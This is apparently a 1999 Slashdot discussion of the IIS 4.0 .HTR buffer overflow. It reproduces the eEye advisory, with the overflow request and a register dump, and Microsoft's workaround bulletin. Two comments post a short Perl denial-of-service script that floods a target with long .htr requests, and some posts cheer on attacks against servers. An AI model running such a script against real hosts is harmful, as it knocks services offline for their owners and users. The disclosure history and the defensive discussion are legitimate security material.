    I believe M$ is able to organize some bugs "discoveries" in a well organized way so they already have a miraculous patch ready for it. I'm maybe paranoid, but knowing M$ it wouldn't surprise me.

    No pity!


    Reporter: "What do you think of Western Civilisation?"

    M.K. Gandhi: "I think it would be a good idea."

    --
    -- It's always darker before it goes pitch black.
    1. Re:Stop helping M$ by Anonymous Coward · · Score: 1

      eEye.com is hardly "Un*x community". A netcraft query says www.eeye.com is running IIS4 on NT or Windows 98. Their scanner is only for Windows too.

      Also, this "patch" you speak of simply is to remove the .htr DLL from IIS. From their advisory, I count 13 mouse clicks but I could be wrong. Unlike last week's Linux 2.2.x bug, this doesn't even need a kernel compile... Just kidding of course, because that is impossible on NT anyway... hehe

      Back to your comments.. The whole purpose of full disclosure is to PREVENT what your are describing: an "elite" few from controlling the information. Several years ago, vendors would sit on reports of vulnerabilities in their products for months or even years before releasing patches. Information about security was only released to "professionals" who needed to know the information. This strategy was supposed to keep the exploits from the hackers which obviously didn't work.

      It seems so many people are "Linux sucks because xxx...", "NT sucks because yyyy...", "FreeBSD sucks..." etc... In real life, someone may use more than a single OS. Look at cdrom.com and you will see there is absolutly no way a Microsoft OS can support something like that (except for clustering lots of servers together). However, on the same note, there isn't anything out there for Linux/FreeBSD/etc.. which allows easy management of 1000's of users like a NT/Win9x solution does. I'm sure there will be someday but right now, companies can't afford to pay to maintain Linux PCs for their enterprise.

      Each OS has advantages and disadvantages (although I will admit NT is a little heavy on the latter side). The best idea of course is to utilize the strengths of all OS's to get the most effective solution. Strategies like this are responsible for the development of things like pam_smb which combines NT and Linux (even FreeBSD now) in a great e-mail solution.

      I guess I've been off-topic enough for now.

  143. Exploit. by Wakko+Warner · · Score: 1
    This "Exploit" is comprised of two posts to the Bugtraq mailinglist. I assume everyone here subscribes to it, but for the benifit of those few out there who do not:


    #!/usr/bin/perl
    #props to the absu crew
    use LWP::Simple;
    for ($i = 2500; $i = 3500; $i++) {
    warn "$i\n";
    get "http://$ARGV[0]/".('a' x $i).".htr";
    }


    - A.P.
    --


    "One World, One Web, One Program" - Microsoft Promotional Ad

    --
    "Remember when the U.S. had a drug problem, and then we declared a War On Drugs, and now you can't buy drugs anymore?"
  144. Re:End Buffer Overruns Forever by Dastardly · · Score: 1

    I fervently hope that this bug is used to repeatedly down the stock market and a few military computers. That would put the spotlight like nothing else on Microsoft's failings.

    Yeah right. The only thing that would do is get those people arrested and put in jail for computer crimes. No one blames MS for opening a big hole for viruses in Word and Excel. Instead they go after the guy who wrote Melissa. Doesn't anyone think it is extremely stupid that there is the ability to write word processor viruses??

    All that would happen if some one exploited this, is that they would be arrested (if they could be tracked down). MS would not be blamed, and probably Eeye and slashdot would be blamed for publicizing the security whole.

    Dastardly

  145. Re: 30 MT suitcase bombs by Anonymous Coward · · Score: 0

    No problem for Tim Mc Veigh!

  146. End Buffer Overruns Forever by Tom+Christiansen · · Score: 3

    It seems to me that if we went back to a sane system in which DATA and STACK pages were never executable -- just readable and writable -- and TEXT pages were never writable -- just readable and executable -- that a lot of these problems would mysteriously evaporate. Oh, I can see how you could write incorrect data on the stack in a frame you shouldn't be doing that to (a caller's frame data), but at least you could never write code that would actually be executed. This would to my eye seem to raise the bar at the security gate to a non-trivially higher notch.

    1. Re:End Buffer Overruns Forever by Anonymous Coward · · Score: 0

      ...and TEXT pages were never writable...

      Seems to me you've gotta be able to write them AT LEAST ONCE, to load in the code from disk every time it gets paged in.

      But you don't have to execute data or write to a code segment to crash a machine... all you need to do is overwrite a return address on the STACK, which pretty much has to be writable, doesn't it?

    2. Re:End Buffer Overruns Forever by Tom+Christiansen · · Score: 2
      This is an evil I really wanted to blame on Lord Gates and the Wintel crowd, but the finger looks like it points back to rms et alios instead.

      Here's some bugtraq discussion on removing the execute bits from the stack. A nicer reference in some senses is this fine paper describing a lot of technical details.

  147. Microsoft will ignore 'til the threat becomes real by 47Ronin · · Score: 1

    M$ will most likely use its massive M$-controlled media and news networks to cover up its mess. However, it can't afford to get picked up in the press because of a massive worldwide effort to crack its IIS servers. Imagine if a team were to hit as many M$ IIS servers as possible leaving only a comment that M$ isn't as great as the billions of people on earth believe.. there's no way M$ and M$NBC and M$-funded CNN and its M$-funded investments can cover up the truth.

    --
    Those who laugh at you for you having a Mac.. are the people who constantly call you to fix their PC.
  148. 30 megaton? by Aglassis · · Score: 1

    From my calculations, a 20 kiloton bomb requires roughly 5 kg of fissile material (plutonium, ect) and 2 kg if you want to make it thermonuclear. Scale this up, its 3000 kg (deuterium+tritium) + 5 kg plutonium. I'm not a nuclear physicist but I'd guess that its unlikely you'd carry that in a suitcase. On a boat, sure. Of course this is forgetting all the activating explosives and machinery.

    --
    Suddenly, the hairy finger of a familiar monkey tapped me on the shoulder. It was time.--G. T.
  149. bit of a laugh by goon · · Score: 1

    On April 28th 1999, the UK Government announced that Windows NT 4.0 has been successfully evaluated at the E3/F-C2 level. This evaluation, which is roughly equivalent to a C2 evaluation according to the US "Orange Book", confirms what millions of customers already know--that Windows NT Server provides the security needed by banking, health care, military and other customers, as well as the flexibility and ease of use demanded by small business and home users. (the emphasis is mine)

    http://www.microsoft.com/security/issues/e3fc2summ ary.asp

    for a bit of a laugh...but with so many iis sites ms has to create a fix to patch their own servers

    --
    peterrenshaw ~ Another Scrappy Startup
  150. exploit by Anonymous Coward · · Score: 0

    #!/usr/bin/perl
    use LWP::Simple;
    for ($i = 2500; $i = 3500; $i++) {
    warn "$i\n";
    get "http://$ARGV[0]/".('a' x $i).".htr";
    }

    (oops!)

    1. Re:exploit by Anonymous Coward · · Score: 0

      Can't locate LWP/Simple.pm in @INC (@INC contains: /usr/lib/perl5/5.00503/i386-linux /usr/lib/perl5/5.00503 /usr/lib/perl5/site_perl/5.005/i386-linux /usr/lib/perl5/site_perl/5.005 .) at ./iis.pl line 2.
      BEGIN failed--compilation aborted at ./iis.pl line 2.

  151. Yawn by Anonymous Coward · · Score: 0

    Again, any admin that has a clue would have this feature disabled anyway. No big deal.

  152. Delay is intentional by Barbarian · · Score: 1

    When Microsoft hears about a problem, they try not to reveal information until the patch is complete. This is probably because in the past they have developed a reputation for taking weeks to issue a patch. They want to get a reputation more like free software, where a patch usually is available within hours.

  153. re: 30 MT suitcase bombs by Anonymous Coward · · Score: 0

    so, how big would that suitcase be, anyway?
    wouldn't you need a van to drive it around in?

  154. Root does exist does it not? by Anonymous Coward · · Score: 0

    Not positive what it's called but there is a root type account on NT isn't there?

    A while back there was an NT virus that reportedly could only work if root downloaded it?

    Am I totally wrong? How do you tie the two together?

  155. There is a full remote exploit available. by dark+spyrit · · Score: 1

    There is a full exploit available.. binary + source on our website.. just follow the links :)

    http://www.eeye.com

    dark spyrit / barns@eeye.com.

  156. qmail by Anonymous Coward · · Score: 0

    It is free and you can get the source. There are just limits to how you can change it. So it is free it is just not open source / GPL. The reason for the limitations is to keep it secure in case you were wondering.

    1. Re:qmail by thule · · Score: 1

      one word: postfix

      it works for me anyways

  157. does not work at all by Anonymous Coward · · Score: 0

    Can't locate Net/Telnet.pm in @INC (@INC contains: /usr/lib/perl5/5.00503/i386-linux /usr/lib/perl5/5.00503 /usr/lib/perl5/site_perl/5.005/i386-linux /usr/lib/perl5/site_perl/5.005 .) at ./iis.pl line 3.
    BEGIN failed--compilation aborted at ./iis.pl line 3.

  158. And... by Anonymous Coward · · Score: 0

    I doubt any systems have been exploited through this hole in IIS. There are exploit after exploit for various versions of sendmail throught the years. What is even funnier are the sites which run the new sendmail binaries with the OLD config file!

    My ISP here switched over to qmail based system for all email. Sendmail just isn't able to run with thousands of e-mail boxes. They still use sendmail for queueing, but that's probably a mistake...

    Oh, as far as 8.8.5+... watch out for the DoS's against 8.9.2 (probably 8.9.x). Search www.rootshell.com for 'sendmail' and see what comes up. Better yet, search altavista or google for 'leshka'.

    Postfix is supposedly pretty good too.

  159. This does not work by Anonymous Coward · · Score: 0

    For some reason this does not work on my RH 6.0 box :( here is what I have installed:

    mod_perl-1.19-2
    perl-5.00503-2
    perl-MD5-1.7-6

    Here is the error I get when I run that perl script.

    Can't locate LWP/Simple.pm in @INC (@INC contains: /usr/lib/perl5/5.00503/i386-l
    inux /usr/lib/perl5/5.00503 /usr/lib/perl5/site_perl/5.005/i386-linux /usr/lib/perl5/site_perl/5.005 .) at ./iis.pl line 2.
    BEGIN failed--compilation aborted at ./iis.pl line 2.

    Please give me a clue.

    1. Re:This does not work by Anonymous Coward · · Score: 0

      Clue: argv[0] may just be the program name.

    2. Re:This does not work by Anonymous Coward · · Score: 0

      Perl is the program. That means nothing to me.

  160. Bugs... by Rotten · · Score: 1


    "Due the great complexity in today's software, in some cases bugs can't be used as a quality metric, the real metric should be the time it gets the bug get fixed"

    Well, I won't say IIS4.0 is bad, and quality less right now, I'll wait 'till next week when M$ will be still deniyng it and no patch would be available for their customers.

  161. Go figure... by Khan · · Score: 1

    Yet ANOTHER reason to go Apache. Man, will these guys EVER learn? BTW, an interesting aside to the article that I noticed: Wired actually got the hackers/crackers thing right this time. Will miracles never cease? ;)

    --

    "Klaatu, verada, necktie!" -Ash

  162. They know the difference! by PenguinDude · · Score: 1

    Hey look, they used the word "cracker" instead of "hacker". Way to go guys!

  163. full text of the eeye advisory by Anonymous Coward · · Score: 5

    Retina vs. IIS4, Round 2

    Systems Affected:

    Internet Information Server 4.0 (IIS4)
    Microsoft Windows NT 4.0 SP3 Option Pack 4
    Microsoft Windows NT 4.0 SP4 Option Pack 4
    Microsoft Windows NT 4.0 SP5 Option Pack 4

    Release Date:

    June 8, 1999

    Advisory Code:

    AD06081999

    Description:

    We have been debating how to start out this advisory. How do you explain
    that 90% or so of the Windows NT web servers on the Internet are open to a
    hole that lets an attacker execute arbitrary code on the remote web server?
    So the story starts...

    The Goal:

    Find a buffer overflow that will affect 90% of the Windows NT web servers on
    the Internet. Exploit this buffer overflow.

    The Theory:

    There will be overflows in at least one of the default IIS filtered
    extensions (i.e. .ASP, .IDC, .HTR). The way we think the exploit will take
    place is that IIS will pass the full URL to the DLL that handles the
    extension. Therefore if the ISAPI DLL does not do proper bounds checking it
    will overflow a buffer taking IIS (inetinfo.exe) with it and allow us to
    execute arbitrary code on the remote server.

    Entrance Retina:

    At the same time of working on this advisory we have been working on the AI
    mining logic for Retina's HTTP module. What better test scenario than this?
    We gave Retina a list of 10 or so extensions common to IIS and instructed it
    to find any possible holes relating to these extensions.

    The Grind:

    After about an hour Retina found what appeared to be a hole. It displayed
    that after sending "GET /[overflow].htr HTTP/1.0" it had crashed the server.
    We all crossed our fingers, started up the good ol' debugger and had Retina
    hit the server again.

    Note: [overflow] is 3k or so characters... but we will not get into the
    string lengths and such here. View the debug info and have a look for
    yourself.

    The Registers:

    EAX = 00F7FCC8 EBX = 00F41130
    ECX = 41414141 EDX = 77F9485A
    ESI = 00F7FCC0 EDI = 00F7FCC0
    EIP = 41414141 ESP = 00F4106C
    EBP = 00F4108C EFL = 00000246

    Note: Retina was using "A" (0x41 in hex) for the character to overflow with.
    If you're not familiar with buffer overflows a quick note would be that
    getting our bytes into any of the registers is a good sign, and directly
    into EIP makes it even easier :)

    Explain This:

    The overflow is in relation to the .HTR extensions. IIS includes the
    capability to allow Windows NT users to change their password via the web
    directory /iisadmpwd/. This feature is implemented as a set of .HTR files
    and the ISAPI extension file ISM.DLL. So somewhere along the line when the
    URL is passed through to ISM.DLL, proper bounds checking is not done and our
    overflow takes place. The .HTR/ISM.DLL ISAPI filter is installed by default
    on IIS4 servers. Looks like we got our 90% of the Windows NT web servers
    part down. However, can we exploit this?

    The Exploit:

    Yes. We can definitely exploit this and we have. We will not go into much
    detail here about how the buffer is exploited and such. Read the comments in
    the asm file for more information. However, one nice thing to note is that
    the exploit has been crafted in such a way to work on SP4 and SP5 machines,
    therefore there is no guessing of offsets and possible accidental crashing
    of the remote server. We have not tested the exploit on SP3 and would love
    to know if it works or not. eMail alert@eEye.com if you've successfully
    exploited this hole on SP3.

    For more details about the exploit visit the eEye web site at www.eEye.com

    The Fallout:

    Almost 90% of the Windows NT web servers on the Internet are affected by
    this hole. Everyone from NASDAQ to the U.S. Army to Microsoft themselves.
    No, we did not try it on the above mentioned. But it is easy to verify if a
    web server is exploitable without using the exploit. Even a server that's
    locked in a guarded room behind a Cisco Pix can be broken into with this
    hole. This is a reminder to all software vendors that testing for common
    security holes in your software is a must. Demand more from your software
    vendors.

    The Request. (Well one anyway.)

    Dear Microsoft,

    One of the things that we found out is that IIS did not log any trace of our
    attempted hack. We recommend that you pass all server requests to the
    logging service before passing it to any ISAPI filters etc...The logging
    service should be, as named, an actual service running in a separate memory
    space so that when inetinfo goes down intrusion signatures are still logged.

    Retina vs. IIS4, Round 2. KO.

    Fixes:

    1. Remove the extension .HTR from the ISAPI DLL list. Microsoft has just
    updated their checklist to include this interim fix.
    http://microsoft.com/security/products/iis/CheckLi st.asp
    2. Apply the patch supplied by Microsoft when available.
    http://microsoft.com/security

    Vendor Status:

    We contacted Microsoft on June 8th 1999, eEye Digital Security Team provided
    all information needed to reproduce the exploit. and how to fix it.
    Microsoft security team did confirm the exploit and are releasing a patch
    for IIS.

    Related Links

    Advisory - On our web site
    http://www.eEye.com/database/advisories/ad060819 99/ad06081999.html

    Advisory - Retina Brain File used to uncover the hole
    http://www.eEye.com/database/advisories/ad060819 99/ad06081999-brain.html

    Retina - The Network Security Scanner
    http://www.eEye.com/retina/


    Greetings go out to:

    The former Secure Networks Inc., L0pht, Phrack, ADM, Rhino9, Attrition, HNN
    and any other security company or organization that believes in full
    disclosure.

    Copyright (c) 1999 eEye Digital Security Team

    Permission is hereby granted for the redistribution of this alert
    electronically. It is not to be edited in any way without express consent of
    eEye. If you wish to reprint the whole or any part of this alert in any
    other medium excluding electronic medium, please e-mail alert@eEye.com for
    permission.

    Disclaimer:

    The information within this paper may change without notice. Use of this
    information constitutes acceptance for use in an AS IS condition. There are
    NO warranties with regard to this information. In no event shall the author
    be liable for any damages whatsoever arising out of or in connection with
    the use or spread of this information. Any use of this information is at the
    user's own risk.

    Please send suggestions, updates, and comments to:

    eEye Digital Security Team

    info@eEye.com
    www.eEye.com

  164. Care to back that up with sendmail-8.8.5+? by maynard · · Score: 3

    With a properly configured sendmail-8.8.5 distribution, or above, I'd like to see you back this assertion up with some facts. Go ahead and show me how you'll crack a box with sendmail using a buffer overflow or other similar trick... you're not leaving sendmail in debug mode are you?

    Now by properly configured, I mean no configuration files down a path with group writable directories, no stupid scripts run out of the .cf, smrsh configured, and no DON'T_BLAME_SENDMAIL options blatently leaving your machine open to the world. The current release of Sendmail is 8.9.3, I haven't seen a CERT advisory on sendmail for some time, and Eric Allman keeps pumping out new bugfixes.

    This doesn't diminish the good work done by the qmail folks. However, if you want UUCP, BITNET relaying, or FIDO-NET support (which is CRITICAL in many third world countries) sendmail is your only option.

    Finally, your post is flame bait devoid of relevant information to the IIS security hole. Of course, this reply is also devoid of anything relevant to the IIS security hole found, but I thought it incumbant to reply to your misinformed banter.

  165. It's the language by Anonymous Coward · · Score: 1

    Funny but my Dylan programs never have buffer overflow security holes.

    The problem isn't Microsoft's incompetent programmers (though they may be largely incompetent). It's the stone-age programming language technology that they are using... stone-age technology in the form of C/C++. Obviously most unix programs are written in C, so things aren't any better in the unix world. Buffer overflow security holes pop up in unix programs all the time.

    Common' folks, it's time to move on to a decent language like Dylan. You will be more productive, and your programs may even run faster.

  166. Microsoft Security Bulletin (MS99-019) by hany · · Score: 1
    i did not saw any "thaks to eEye" phrase in MS Security Bulletin.

    MS do not need to thank for help?

    --
    hany
  167. Exploit.. not DoS. by Anonymous Coward · · Score: 0

    That is a DoS script. You can pretty much DoS any system with synk4.c (search on rootshell.com). All that script does is crash IIS making it unable to serve requests. The exploit code was released so "other developers can pick up where we stopped and explore the exploit in different directions" or perhaps to get some big fortune 500's to buy the enterprise edition of their scanner priced at $1995.00.

  168. Disabling it doesn't fix the problem by LizardKing · · Score: 1

    Having gone back and read the article in its entirety, it seems disabling the .htr stuff doesn't solve the problem ...


    Chris Wareham

  169. Re:Not so Theoretical exploit by Anonymous Coward · · Score: 0

    Just wait for the worms to come! I give it at most two weeks till this hits CNN

  170. Re:full text of the eeye advisory - no sploit by QuantumG · · Score: 0

    Note that eEye hasn't supplied any code that actually executes anything. Those in the security industry will be shouting snake oil right now. Just because you can overwrite EIP with 'A's doesn't mean you have an exploitable overflow. And seeing this doesn't even crash the web server I wouldn't even call this a DOS attack. If Microsoft doesn't take this seriously, they are completely justified. Microsoft is not a bunch of security consultants (tell me about it) and don't have the skills to go and dig up bugs and prove that it is a problem. To them this is just another bug (they got enuff), not a security flaw. Release the sploit, wrap it up in a cute little script kiddie pack and when half of Microsoft's network goes down you may get a bug fix.

    --
    How we know is more important than what we know.
  171. The bigger problem may well be the accessible one by Sun+Tzu · · Score: 1

    Going into the building will involve personal risk and probably some considerable expense. Hacking into a lame Micros~1 server can be done from a different continent in a country where it's not even illegal! Some people do the remote thing for nothing more than low-budget entertainment.

  172. Re: Linux 2.2 DoS attack by whoop · · Score: 2

    (Microsoft has acknowledged the bug, so the first half of your question is complete.)

    I was curious just how quickly the ICMP attack took to fix, so here is my 5 minute investigation, it's taken longer to write this than research it. Kudos to the folks at Progressive Computer Concepts for their excellent mail list archives ( www.progressive-comp.com). I assume the date/times listed are in their local time.

    Bug Notice: Posted to Bugtraq by Piotr Wilkin 1 June 1999 15:43:17.

    Solution: Posted to Linux Kernel by Alan Cox, 1 June 1999 22:23:04. Also Posted to Bugtraq by Alan Cox, 1 June 1999 22:30:33.

    So, 6 hours, 39 minutes, 47 seconds from the time it was made public to solution (7.5 minutes more if you only monitored Bugtraq).

    And then this IIS bug, reported to Microsoft 8 June 1999, made public on Bugtraq at 12:18:16 today (15 June 1999). A week lead time, and no fix in sight.

    Security is the heart of any business that relies on its web page for income (order taking, etc). Now that it's been made public, I'm sure all the skript kiddies will be wreaking havoc this evening on as many servers as they can hit. Although, for completeness, I'd be interested in noting any servers that do get hit. The Wired article specifically mentions Nasdaq, Disney, and Compaq as running "large ecommerce operations" on IIS. I can't imagine how a large company could stick with it with such pathetic service from MS.

    Oh wait. I went to the security web site listed in the article, and MS has posted a workaround, basically remove the .HTR extension from IIS (the post on Bugtraq lists .ASP and .IDC as being affected as well). The funny thing is their terminology and timeline. At the top it says, "Originally Posted: May 27, 1999." So they knew about it a whole 11 days before eEye told them about it. Posted where, you might ask? Who knows. But at the bottom of the page it says, "June 15, 1999: Bulletin Created." I presume that "bulletin created" means they put it on their web site. Even still, not only with a week's notice, but 18 days notice the bug is not fixed.

    Other inconsistencies in the notice, in the "What Microsoft is Doing" section, "Microsoft has released patches that fix the problem identified" (my bold). Oh, it's been fixed by golly. Then you go down to the "What Customers Should Do" section (be it 4 lines down, web design cracks aside) like they say next, what does it say? "A patch will be available shortly..." So it's fixed, but you cannot have it. This just makes my point even better. Why rely your business on them with this double-talk and no real solutions??

  173. sendmail is not the only opensource MTA. by BlueDraco · · Score: 1

    If you don't like sendmail as an MTA try exim or postfix or qmail. I really don't care if my mail can be delivered to fidonet. sendmail does have its place, but its not for everyone. Please don't complain about it just USE ANOTHER MTA.

  174. Is there any way to check... by Anonymous Coward · · Score: 0

    if a certain site is vulnerable *WITHOUT* doing any real damage? And I don't mean if you've already got local access.

  175. Well is this fast enough for you? by sheldon · · Score: 1

    http://www.microsoft.com/security/bulletins/ms99-0 19.asp

    Says it was originally posted May 27th, and updated today.

    The email to NTBUGTRAQ came out just after 4pm, it's 9pm now.

    I'd say that's fast enough for the average mortal.

    1. Re:Well is this fast enough for you? by acarey · · Score: 1

      Here's the full text:

      The following is a Security Bulletin from the Microsoft Product Security
      Notification Service.

      Please do not reply to this message, as it was sent from an unattended
      mailbox.
      ********************************

      Microsoft Security Bulletin (MS99-019)
      --------------------------------------

      Workaround Available for "Malformed HTR Request" Vulnerability

      Originally Posted: June 15, 1999

      Summary
      =======
      Microsoft has released a patch that eliminates a vulnerability in Microsoft
      (r) Internet Information Server 4.0. The vulnerability could allow denial
      of service attacks against an IIS server or, under certain conditions,
      could allow arbitrary code to be run on the server.

      Microsoft has issued this bulletin to advise customers of steps they can
      take to protect themselves against this vulnerability. A patch to eliminate
      this vulnerability is being developed, and an update to this bulletin will
      be released to advise customers when it is available.

      Issue
      =====
      IIS supports several file types that require server-side processing. When a
      web site visitor requests a file of one of these types, an appropriate
      filter DLL processes it. A vulnerability exists in ISM.DLL, the filter DLL
      that processes .HTR files. HTR files enable remote administration of user
      passwords.

      The vulnerability involves an unchecked buffer in ISM.DLL. This poses two
      threats to safe operation. The first is a denial of service threat. A
      malformed request for an .HTR file could overflow the buffer, causing IIS
      to crash. The server would not need to be rebooted, but IIS would need to
      be restarted. The second threat would be more difficult to exploit. A
      carefully-constructed file request could cause arbitrary code to execute on
      the server via a classic buffer overrun technique. Neither scenario could
      occur accidentally. This vulnerability does not involve the functionality
      of the password administration features of .HTR files.

      While there are no reports of customers being adversely affected by this
      vulnerability, Microsoft is proactively releasing this bulletin to allow
      customers to take appropriate action to protect themselves against it.

      Affected Software Versions
      ==========================
      - Microsoft Internet Information Server 4.0

      What Microsoft is Doing
      =======================
      Microsoft has provided a workaround that fixes the problem identified. The
      workaround is discussed below in What Customers Should Do.

      Microsoft also has sent this security bulletin to customers
      subscribing to the Microsoft Product Security Notification Service.
      See http://www.microsoft.com/security/services/bulleti n.asp for more
      information about this free customer service.

      What Customers Should Do
      ========================
      Microsoft highly recommends that customers disable the script mapping for
      .HTR files as follows:
      - From the desktop, start the Internet Service Manager
      by clicking Start | Programs | Windows NT 4.0 Option
      Pack | Microsoft Internet Information Server | Internet
      Service Manager
      - Double-click "Internet Information Server"
      - Right-click on the computer name and select Properties
      - In the Master Properties drop-down box, select "WWW Service",
      then click the "Edit" button .
      - Click the "Home Directory" tab, then click the "Configuration"
      button .
      - Highlight the line in the extension mappings that contains ".HTR",
      then click the "Remove" button.
      - Respond "yes" to "Remove selected script mapping?" say yes,
      click OK 3 times, close ISM

      A patch will be available shortly to eliminate the vulnerability altogether.

      Customers should monitor http://www.microsoft.com/security for an
      announcement when the patches are available.

      Microsoft recommends that customers review the IIS Security Checklist at
      http://www.microsoft.com/security/products/iis/C heckList.asp

      More Information
      ================
      Please see the following references for more information related to this
      issue.
      - Microsoft Security Bulletin MS99-019,
      Workaround Available for "Malformed HTR Request" Vulnerability
      (The Web-posted version of this bulletin),
      http://www.microsoft.com/security/bulletins/ms99-0 19.asp.
      - IIS Security Checklist,
      http://www.microsoft.com/security/products/iis/Che ckList.asp

      Obtaining Support on this Issue
      ===============================
      If you require technical assistance with this issue, please contact
      Microsoft Technical Support. For information on contacting Microsoft
      Technical Support, please see
      http://support.microsoft.com/support/contact/def ault.asp.

      Revisions
      =========
      - June 15, 1999: Bulletin Created.



      For additional security-related information about Microsoft products,
      please visit http://www.microsoft.com/security

      Cheers
      Alastair

      --
      -- "I believe the human being and the fish can coexist peacefully." - George W. Bush, 29 September 2000
  176. Free clue inside... by polarbear · · Score: 1

    The error message means he doesn't have the right perl modules installed. geesh. try looking up CPAN.

    --
    --- polarbear
  177. Exploit? by IanCarlson · · Score: 1

    This article made it seem like there was an exploit for it. Is there? I have a network of NT4 with IIS on them at work. This would be just the thing to use so I can convince my boss to let me install Linux on them. Thanks for any and all help!

    --
    aÍÍ©ÍÌÍ£Ì'̽ͩÌÍzÍYÌÍÌY
  178. Put that in your pipe and smoke it, Microsoft by Anonymous Coward · · Score: 0
    Here is a quote from this Microsoft piece on Linux:

    "Security - Provide organizations with a highly secured network environment and a single user directory to manage"

    On NT: "System services run in a secure context providing higher levels of security for multi-user services"
    On Linux: "Inherits the security flaws of UNIX (i.e., easy to gain root access via poorly written applications)." ...and... "More prone to security bugs"

    Real world evidence would seem to suggest Microsoft needs to do a little more convincing.

  179. Re:It's the the programmer! by nevets · · Score: 1

    It's bad programming to allow overflows.
    Although if you use some of the standard libraries you may be in trouble. In fact I wrote my own routines that mimic most of the standard libs in C. For example, rewrote my own sprintf that does check for boundaries. It was a one time deal and I have not written any code since then that contains overflows. I thoroughly debugged my code. And if you don't have the time to write this routines, glib from GTK+ has done this as well. Although I've been using mine long before glib came out, but I'm glad it did.

    A good programmer knows to encapsulate all system calls so that they may be checked for errors everywhere. Also check all boudaries or better yet don't have any. I like the dynamic arrays and such better than static ones. Of course most will complain about freeing your mallocs. But thats another story. I rather have memory leaks (server crashes) than a compromised system.

    --
    Steven Rostedt
    -- Nevermind